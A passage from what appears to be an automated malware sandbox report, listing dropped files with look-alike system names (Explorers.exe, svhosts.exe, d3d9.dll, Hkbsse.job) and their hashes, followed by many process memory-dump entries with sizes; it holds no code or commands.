                7ea2fd3b085bd4b3e27d4dda36e079ec8910173cc2b33ccd06698051eb7d5f2818ed9000761d1fc44e354c06d015feb16e77958dab8a3969a0cee2fd453ca0c9

                Download Submit

              • C:\Users\Admin\AppData\Roaming\configurationValue\Explorers.exe
                Filesize

                335KB

                MD5

                894c2e356e72da7a60c2978a258b2081

                SHA1

                d9d57f6bf516c5a381df6d5a81d73314a9a60ffb

                SHA256

                6a76e1042b46a21b225b20eb8d93aac9afd4f028f2fa4c7d09d1f478a67a0352

                SHA512

                c73ddafd2bd0dd582dfb5030460d46b9ba7e9746e169131cc0bafdbda74792bfae2ce6604a9450b28284339915d07569596d1e32b21f1f176445432f8bcbdabf

                Download Submit

              • C:\Users\Admin\AppData\Roaming\configurationValue\svhosts.exe
                Filesize

                297KB

                MD5

                8a70c2805c58fcca31037c6dd59e5833

                SHA1

                233491efa8aab92ecc929ae138fbfbf06877c992

                SHA256

                605636af0dd1495e8a4cbbf6492e5862a4e7536710b533ef1bf1bc8e2670f9d8

                SHA512

                e2041ea7139f34cc621ea0bc0e312cbf41431cdcf4dc5be0c68445bb90be47935e359b6956fe9819e25077bbe6ce1a72ca7349e3956adda3246100c747725c12

                Download Submit

              • C:\Users\Admin\AppData\Roaming\d3d9.dll
                Filesize

                279KB

                MD5

                8fa26f1e37d3ff7f736fc93d520bc8ab

                SHA1

                ad532e1cb4a1b3cd82c7a85647f8f6dd99833bb1

                SHA256

                6c47da8fbd12f22d7272fbf223e054bf5093c0922d0e8fb7d6289a5913c2e45d

                SHA512

                8a0b53cbc3a20e2f0fd41c486b1af1fbbcf7f2fed9f7368b672a07f25faaa2568bbdbcf0841233ac8c473a4d1dee099e90bf6098a6fa15e44b8526efdafc1287

                Download Submit

              • C:\Windows\Tasks\Hkbsse.job
                Filesize

                284B

                MD5

                f426b66dc65d2e6b9ba60feaca010950

                SHA1

                b613a19d090a70d53c167ff0f9b42d6cdc40929f

                SHA256

                560544310a0fc2a6d40182d13200a66ed690f281827f96eee87c60e837f8edb6

                SHA512

                4a9a7606ef89986c170acb71dbb620a42616871e4ae63d267333c6401ca80f2175b166c77440a6e5b7a0fe05e559f677e2536fdf896991320a0b189ab4fc3b4b

                Download Submit

              • memory/436-216-0x0000000000830000-0x0000000000880000-memory.dmp

                Filesize

                320KB

                Download

              • memory/468-0-0x0000000000B50000-0x0000000001021000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/468-1-0x0000000077236000-0x0000000077238000-memory.dmp

                Filesize

                8KB

                Download

              • memory/468-17-0x0000000000B50000-0x0000000001021000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/468-2-0x0000000000B51000-0x0000000000B7F000-memory.dmp

                Filesize

                184KB

                Download

              • memory/468-5-0x0000000000B50000-0x0000000001021000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/468-3-0x0000000000B50000-0x0000000001021000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/888-408-0x00007FF60ABF0000-0x00007FF60B1F4000-memory.dmp

                Filesize

                6.0MB

                Download

              • memory/888-415-0x00007FF60ABF0000-0x00007FF60B1F4000-memory.dmp

                Filesize

                6.0MB

                Download

              • memory/896-37-0x00000000008E0000-0x00000000008E1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1360-309-0x0000000000F10000-0x0000000001042000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/1596-316-0x0000000000400000-0x000000000063C000-memory.dmp

                Filesize

                2.2MB

                Download

              • memory/1596-318-0x0000000000400000-0x000000000063C000-memory.dmp

                Filesize

                2.2MB

                Download

              • memory/1596-321-0x0000000061E00000-0x0000000061EF3000-memory.dmp

                Filesize

                972KB

                Download

              • memory/1624-441-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-442-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-429-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-423-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-419-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-430-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-418-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-249-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-431-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-432-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-18-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-19-0x0000000000191000-0x00000000001BF000-memory.dmp

                Filesize

                184KB

                Download

              • memory/1624-438-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-439-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-440-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-319-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-425-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-21-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1624-20-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1892-437-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/1892-435-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/2084-395-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-405-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-424-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-427-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-393-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-400-0x0000000001260000-0x0000000001280000-memory.dmp

                Filesize

                128KB

                Download

              • memory/2084-403-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-399-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-407-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-410-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-426-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-406-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-404-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-398-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-396-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-394-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2084-397-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

                Download

              • memory/2460-112-0x000001F34B170000-0x000001F34B192000-memory.dmp

                Filesize

                136KB

                Download

              • memory/2832-185-0x0000000000400000-0x0000000000592000-memory.dmp

                Filesize

                1.6MB

                Download

              • memory/2976-420-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/2976-422-0x0000000000190000-0x0000000000661000-memory.dmp

                Filesize

                4.8MB

                Download

              • memory/3016-270-0x0000000009770000-0x000000000978E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/3016-289-0x000000000A920000-0x000000000AE4C000-memory.dmp

                Filesize

                5.2MB

                Download

              • memory/3016-229-0x0000000000970000-0x00000000009CA000-memory.dmp

                Filesize

                360KB

                Download

              • memory/3016-288-0x000000000A220000-0x000000000A3E2000-memory.dmp

                Filesize

                1.8MB

                Download

              • memory/3016-269-0x00000000097D0000-0x0000000009846000-memory.dmp

                Filesize

                472KB

                Download

              • memory/3104-267-0x0000000000400000-0x0000000000450000-memory.dmp

                Filesize

                320KB

                Download

              • memory/3164-227-0x00000000007B0000-0x0000000000800000-memory.dmp

                Filesize

                320KB

                Download

              • memory/3164-290-0x0000000006B00000-0x0000000006B50000-memory.dmp

                Filesize

                320KB

                Download

              • memory/3320-248-0x0000000000C50000-0x0000000000CD6000-memory.dmp

                Filesize

                536KB

                Download

              • memory/4432-414-0x00000000004E0000-0x0000000000535000-memory.dmp

                Filesize

                340KB

                Download

              • memory/4432-413-0x00000000004E0000-0x0000000000535000-memory.dmp

                Filesize

                340KB

                Download

              • memory/4620-45-0x0000000006900000-0x000000000693C000-memory.dmp

                Filesize

                240KB

                Download

              • memory/4620-54-0x0000000008260000-0x00000000082AC000-memory.dmp

                Filesize

                304KB

                Download

              • memory/4620-188-0x00000000063F0000-0x0000000006456000-memory.dmp

                Filesize

                408KB

                Download

              • memory/4620-44-0x00000000068A0000-0x00000000068B2000-memory.dmp

                Filesize

                72KB

                Download

              • memory/4620-43-0x0000000008150000-0x000000000825A000-memory.dmp

                Filesize

                1.0MB

                Download

              • memory/4620-42-0x0000000006990000-0x0000000006FA8000-memory.dmp

                Filesize

                6.1MB

                Download

              • memory/4620-41-0x0000000005470000-0x000000000547A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/4620-40-0x00000000053C0000-0x0000000005452000-memory.dmp

                Filesize

                584KB

                Download

              • memory/4620-39-0x0000000005880000-0x0000000005E26000-memory.dmp

                Filesize

                5.6MB

                Download

              • memory/4620-38-0x0000000000400000-0x0000000000450000-memory.dmp

                Filesize

                320KB

                Download